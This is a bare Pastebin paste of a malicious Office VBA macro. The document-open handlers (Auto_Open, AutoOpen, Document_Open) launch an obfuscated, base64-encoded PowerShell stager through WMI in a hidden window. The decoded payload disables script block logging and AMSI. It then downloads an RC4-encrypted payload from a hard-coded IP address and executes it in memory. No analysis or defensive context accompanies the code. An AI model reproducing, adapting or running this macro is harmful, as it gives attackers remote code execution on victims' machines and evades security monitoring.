Advertisement
Guest User

a

a guest
May 25th, 2019
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.00 KB | None | 0 0
  1. Sub Auto_Open()
  2. GcHU
  3. End Sub
  4.  
  5. Sub AutoOpen()
  6. GcHU
  7. End Sub
  8.  
  9. Sub Document_Open()
  10. GcHU
  11. End Sub
  12.  
  13. Public Function GcHU() As Variant
  14. Dim tJIi As String
  15. tJIi = "powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVg"
  16. tJIi = tJIi + "BlAFIAUwBpAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBFAHIAcwBJ"
  17. tJIi = tJIi + "AG8AbgAuAE0AYQBKAE8AUgAgAC0ARwBFACAAMwApAHsAJABHAF"
  18. tJIi = tJIi + "AARgA9AFsAUgBlAEYAXQAuAEEAUwBzAGUAbQBCAGwAeQAuAEcA"
  19. tJIi = tJIi + "RQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
  20. tJIi = tJIi + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
  21. tJIi = tJIi + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkAZQBgAEwAZAAiAC"
  22. tJIi = tJIi + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
  23. tJIi = tJIi + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
  24. tJIi = tJIi + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABH"
  25. tJIi = tJIi + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAE"
  26. tJIi = tJIi + "EATABVAEUAKAAkAE4AVQBsAEwAKQA7AEkAZgAoACQARwBQAEMA"
  27. tJIi = tJIi + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
  28. tJIi = tJIi + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
  29. tJIi = tJIi + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
  30. tJIi = tJIi + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
  31. tJIi = tJIi + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
  32. tJIi = tJIi + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
  33. tJIi = tJIi + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
  34. tJIi = tJIi + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
  35. tJIi = tJIi + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBMAD0AWwBDAE8ATA"
  36. tJIi = tJIi + "BMAGUAQwB0AGkAbwBOAHMALgBHAGUATgBlAHIAaQBDAC4ARABp"
  37. tJIi = tJIi + "AGMAdABpAE8AbgBhAHIAWQBbAFMAVAByAGkATgBHACwAUwBZAH"
  38. tJIi = tJIi + "MAVABlAE0ALgBPAGIAagBlAEMAVABdAF0AOgA6AE4AZQBXACgA"
  39. tJIi = tJIi + "KQA7ACQAdgBBAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
  40. tJIi = tJIi + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
  41. tJIi = tJIi + "AGcAJwAsADAAKQA7ACQAVgBhAGwALgBBAEQAZAAoACcARQBuAG"
  42. tJIi = tJIi + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
  43. tJIi = tJIi + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
  44. tJIi = tJIi + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
  45. tJIi = tJIi + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
  46. tJIi = tJIi + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
  47. tJIi = tJIi + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
  48. tJIi = tJIi + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
  49. tJIi = tJIi + "AD0AJAB2AGEATAB9AEUAbABTAGUAewBbAFMAYwByAEkAUABUAE"
  50. tJIi = tJIi + "IATABvAGMAawBdAC4AIgBHAGUAVABGAEkARQBgAGwARAAiACgA"
  51. tJIi = tJIi + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
  52. tJIi = tJIi + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
  53. tJIi = tJIi + "AHQAVgBBAGwAVQBFACgAJABuAFUAbABMACwAKABOAGUAVwAtAE"
  54. tJIi = tJIi + "8AQgBqAGUAQwB0ACAAQwBvAGwATABFAGMAVABJAG8ATgBTAC4A"
  55. tJIi = tJIi + "RwBlAE4AZQByAEkAQwAuAEgAQQBTAGgAUwBFAFQAWwBzAFQAUg"
  56. tJIi = tJIi + "BpAG4ARwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAUwBzAGUAbQBC"
  57. tJIi = tJIi + "AGwAWQAuAEcARQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC"
  58. tJIi = tJIi + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
  59. tJIi = tJIi + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
  60. tJIi = tJIi + "BfAH0AfAAlAHsAJABfAC4ARwBFAFQARgBpAGUATABkACgAJwBh"
  61. tJIi = tJIi + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
  62. tJIi = tJIi + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUA"
  63. tJIi = tJIi + "VABWAEEAbAB1AEUAKAAkAG4AdQBsAGwALAAkAHQAUgB1AEUAKQ"
  64. tJIi = tJIi + "B9ADsAfQA7AFsAUwB5AFMAdABlAG0ALgBOAGUAVAAuAFMAZQBS"
  65. tJIi = tJIi + "AHYAaQBjAGUAUABPAGkATgBUAE0AYQBOAGEARwBlAHIAXQA6AD"
  66. tJIi = tJIi + "oARQBYAHAAZQBjAHQAMQAwADAAQwBPAE4AdABJAE4AdQBlAD0A"
  67. tJIi = tJIi + "MAA7ACQAVwBjAD0ATgBlAFcALQBPAEIAagBFAEMAVAAgAFMAeQ"
  68. tJIi = tJIi + "BTAFQAZQBNAC4ATgBlAHQALgBXAEUAYgBDAGwASQBFAE4AdAA7"
  69. tJIi = tJIi + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
  70. tJIi = tJIi + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
  71. tJIi = tJIi + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
  72. tJIi = tJIi + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
  73. tJIi = tJIi + "AHcAQwAuAEgARQBhAGQARQBSAHMALgBBAGQAZAAoACcAVQBzAG"
  74. tJIi = tJIi + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAA"
  75. tJIi = tJIi + "UgBPAFgAWQA9AFsAUwBZAHMAVABlAG0ALgBOAEUAVAAuAFcARQ"
  76. tJIi = tJIi + "BCAFIARQBxAFUAZQBTAFQAXQA6ADoARABlAEYAQQBVAGwAdABX"
  77. tJIi = tJIi + "AGUAQgBQAHIAbwB4AHkAOwAkAHcAQwAuAFAAcgBvAHgAeQAuAE"
  78. tJIi = tJIi + "MAcgBFAGQAZQBOAHQAaQBhAGwAcwAgAD0AIABbAFMAWQBzAFQA"
  79. tJIi = tJIi + "RQBNAC4ATgBFAHQALgBDAHIARQBEAEUATgBUAGkAYQBsAEMAYQ"
  80. tJIi = tJIi + "BDAEgAZQBdADoAOgBEAGUAZgBhAHUATABUAE4AZQBUAHcATwBS"
  81. tJIi = tJIi + "AEsAQwByAEUARABFAG4AdABJAEEATABTADsAJABTAGMAcgBpAH"
  82. tJIi = tJIi + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
  83. tJIi = tJIi + "eQA7ACQASwA9AFsAUwBZAHMAVABFAG0ALgBUAGUAWABUAC4ARQ"
  84. tJIi = tJIi + "BOAEMATwBkAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQBU"
  85. tJIi = tJIi + "AEIAeQB0AGUAcwAoACcARwBOAHgAbAB1ADAAWQAmAEAASQApAD"
  86. tJIi = tJIi + "gAcAByAEQAXQBGADIANwBPAEoAZwBMAHMAewA1AD4AQgAtAGoA"
  87. tJIi = tJIi + "aQA7ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZw"
  88. tJIi = tJIi + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
  89. tJIi = tJIi + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
  90. tJIi = tJIi + "sAJABfACUAJABLAC4AQwBvAFUAbgB0AF0AKQAlADIANQA2ADsA"
  91. tJIi = tJIi + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
  92. tJIi = tJIi + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
  93. tJIi = tJIi + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
  94. tJIi = tJIi + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
  95. tJIi = tJIi + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
  96. tJIi = tJIi + "A7ACQAXwAtAEIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
  97. tJIi = tJIi + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
  98. tJIi = tJIi + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQA4AC4AMgAyADUALgAyADgA"
  99. tJIi = tJIi + "LgAxADYANgA6ADgAMAAnADsAJAB0AD0AJwAvAGEAZABtAGkAbg"
  100. tJIi = tJIi + "AvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBDAC4ASABFAEEARABl"
  101. tJIi = tJIi + "AFIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAG"
  102. tJIi = tJIi + "UAcwBzAGkAbwBuAD0AYgBXAFMARABGAE4AdQBMAHAAcwB3AFMA"
  103. tJIi = tJIi + "SAAwAFMAZAB5AC8AZwBEAFEAaABIAGEAMQBoAFUAPQAiACkAOw"
  104. tJIi = tJIi + "AkAEQAYQB0AGEAPQAkAFcAQwAuAEQATwBXAG4AbABvAGEAZABE"
  105. tJIi = tJIi + "AEEAdABhACgAJABzAGUAcgArACQAVAApADsAJABJAHYAPQAkAE"
  106. tJIi = tJIi + "QAQQB0AGEAWwAwAC4ALgAzAF0AOwAkAEQAQQBUAEEAPQAkAGQA"
  107. tJIi = tJIi + "YQBUAEEAWwA0AC4ALgAkAEQAYQBUAEEALgBsAGUAbgBnAFQASA"
  108. tJIi = tJIi + "BdADsALQBqAE8ASQBOAFsAQwBIAGEAUgBbAF0AXQAoACYAIAAk"
  109. tJIi = tJIi + "AFIAIAAkAGQAYQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AE"
  110. tJIi = tJIi + "kARQBYAA=="
  111. Const HIDDEN_WINDOW = 0
  112. strComputer = "."
  113. Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  114. Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  115. Set objConfig = objStartup.SpawnInstance_
  116. objConfig.ShowWindow = HIDDEN_WINDOW
  117. Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  118. objProcess.Create tJIi, Null, objConfig, intProcessID
  119. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement